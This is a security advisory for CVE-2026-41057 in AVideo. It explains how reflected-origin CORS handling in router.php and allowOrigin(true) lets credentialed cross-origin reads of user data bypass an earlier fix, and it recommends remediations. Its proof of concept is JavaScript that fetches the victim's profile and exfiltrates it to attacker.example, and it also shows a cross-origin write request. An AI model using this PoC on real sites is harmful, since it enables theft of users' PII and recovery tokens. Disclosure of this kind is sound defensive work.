CVE-2026-41057 — avideo

Summary

The CORS origin validation fix in commit 986e64aad is incomplete. Two separate code paths still reflect arbitrary Origin headers with credentials allowed for all /api/* endpoints: (1) plugin/API/router.php lines 4-8 unconditionally reflect any origin before application code runs, and (2) allowOrigin(true) called by get.json.php and set.json.php reflects any origin with Access-Control-Allow-Credentials: true. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data.

Details

Bypass Vector 1: router.php independent CORS handler

plugin/API/router.php:4-8 runs before any application code:

// plugin/API/router.php lines 4-8
$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];
if (empty($HTTP_ORIGIN)) {
    header('Access-Control-Allow-Origin: *');
} else {
    header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN);
}

This reflects any Origin header verbatim. For OPTIONS preflight requests (lines 14-18), the script exits immediately — the fixed allowOrigin() function never executes:

// plugin/API/router.php lines 14-18
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    header("Access-Control-Max-Age: 86400");
    http_response_code(200);
    exit;
}

All /api/* requests are routed through this file via .htaccess rules (lines 131-132).

Bypass Vector 2: allowOrigin($allowAll=true)

Both plugin/API/get.json.php:12 and plugin/API/set.json.php:12 call allowOrigin(true). In objects/functions.php:2773-2790, the $allowAll=true code path reflects any origin with credentials:

// objects/functions.php lines 2773-2777
if ($allowAll) {
    $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? '';
    if (!empty($requestOrigin)) {
        header('Access-Control-Allow-Origin: ' . $requestOrigin);
        header('Access-Control-Allow-Credentials: true');
    }

This code path was untouched by commit 986e64aad, which only hardened the default ($allowAll=false) path.

Impact on data exposure

Because the victim's session cookies are sent with credentialed cross-origin requests, User::isLogged() returns true and User::getId() returns the victim's user ID. This means:

• Video listing endpoint (get_api_video): Sensitive user fields (email, isAdmin, etc.) are only stripped for unauthenticated requests (functions.php:1752), so authenticated CORS requests receive the full data.
• User profile endpoint (get_api_user): When $isViewingOwnProfile is true (line 3039), all sensitive fields including email, admin status, recovery tokens, and PII are returned unstripped.

Additional issue: Referer header fallback

router.php line 4 falls back to HTTP_REFERER when HTTP_ORIGIN is absent, injecting an attacker-controlled full URL (not just origin) into the Access-Control-Allow-Origin header. This is non-standard and could cause unexpected behavior.

PoC

Step 1: Host the following HTML on an attacker-controlled domain:

<html>
<body>
<h1>AVideo CORS PoC</h1>
<script>
// Exfiltrate victim's user profile (email, admin status, PII)
fetch('https://target-avideo.example/api/user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  document.getElementById('result').textContent = JSON.stringify(data, null, 2);
  // Exfiltrate to attacker server
  navigator.sendBeacon('https://attacker.example/collect', JSON.stringify(data));
});
</script>
<pre id="result">Loading...</pre>
</body>
</html>

Step 2: Victim visits attacker page while logged into AVideo.

Step 3: The browser sends the request with victim's session cookies. router.php line 8 reflects the attacker's origin. get.json.php calls allowOrigin(true) which re-sets Access-Control-Allow-Origin to the attacker's origin with Access-Control-Allow-Credentials: true.

Step 4: Browser permits cross-origin reading. Attacker receives the victim's full user profile including email, name, address, phone, admin status, and other PII.

For set endpoints (POST with custom headers requiring preflight):

fetch('https://target-avideo.example/api/SomeSetEndpoint', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({/* parameters */})
});

The preflight OPTIONS is handled by router.php lines 14-18, which reflect the origin and exit — the CORS fix in allowOrigin() never runs.

Impact

• Data theft: Any third-party website can read authenticated API responses for any logged-in AVideo user. This includes user profile data (email, real name, address, phone, admin status), video listings with creator PII, and other session-specific data.
• Account information disclosure: The user profile endpoint returns the full user record including recoverPass (password recovery token), isAdmin status, and all PII fields when accessed as the authenticated user.
• Action on behalf of user: Write endpoints (set.json.php) are equally affected, allowing cross-origin state-changing requests (creating playlists, modifying content, etc.) with the victim's session.
• Bypass of intentional fix: This directly circumvents the CORS hardening in commit 986e64aad.

Recommended Fix

1. Remove the independent CORS handler from router.php and let allowOrigin() handle all CORS logic consistently:

// plugin/API/router.php - REMOVE lines 4-18, replace with:
// CORS is handled by allowOrigin() in get.json.php / set.json.php
// For OPTIONS preflight, we still need to handle it, but through allowOrigin():
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    require_once __DIR__.'/../../videos/configuration.php';
    allowOrigin(false);  // Use the validated CORS handler
    header("Access-Control-Max-Age: 86400");
    http_response_code(204);
    exit;
}

2. Fix allowOrigin($allowAll=true) to validate origins — or stop using it for API endpoints:

// In get.json.php and set.json.php, change:
allowOrigin(true);
// To:
allowOrigin(false);  // Use validated CORS for API endpoints

Keep allowOrigin(true) only for genuinely public endpoints that return no session-sensitive data (VAST/VMAP ad XML).

3. As defense-in-depth, set SameSite=Lax on session cookies to prevent browsers from sending them on cross-origin requests by default.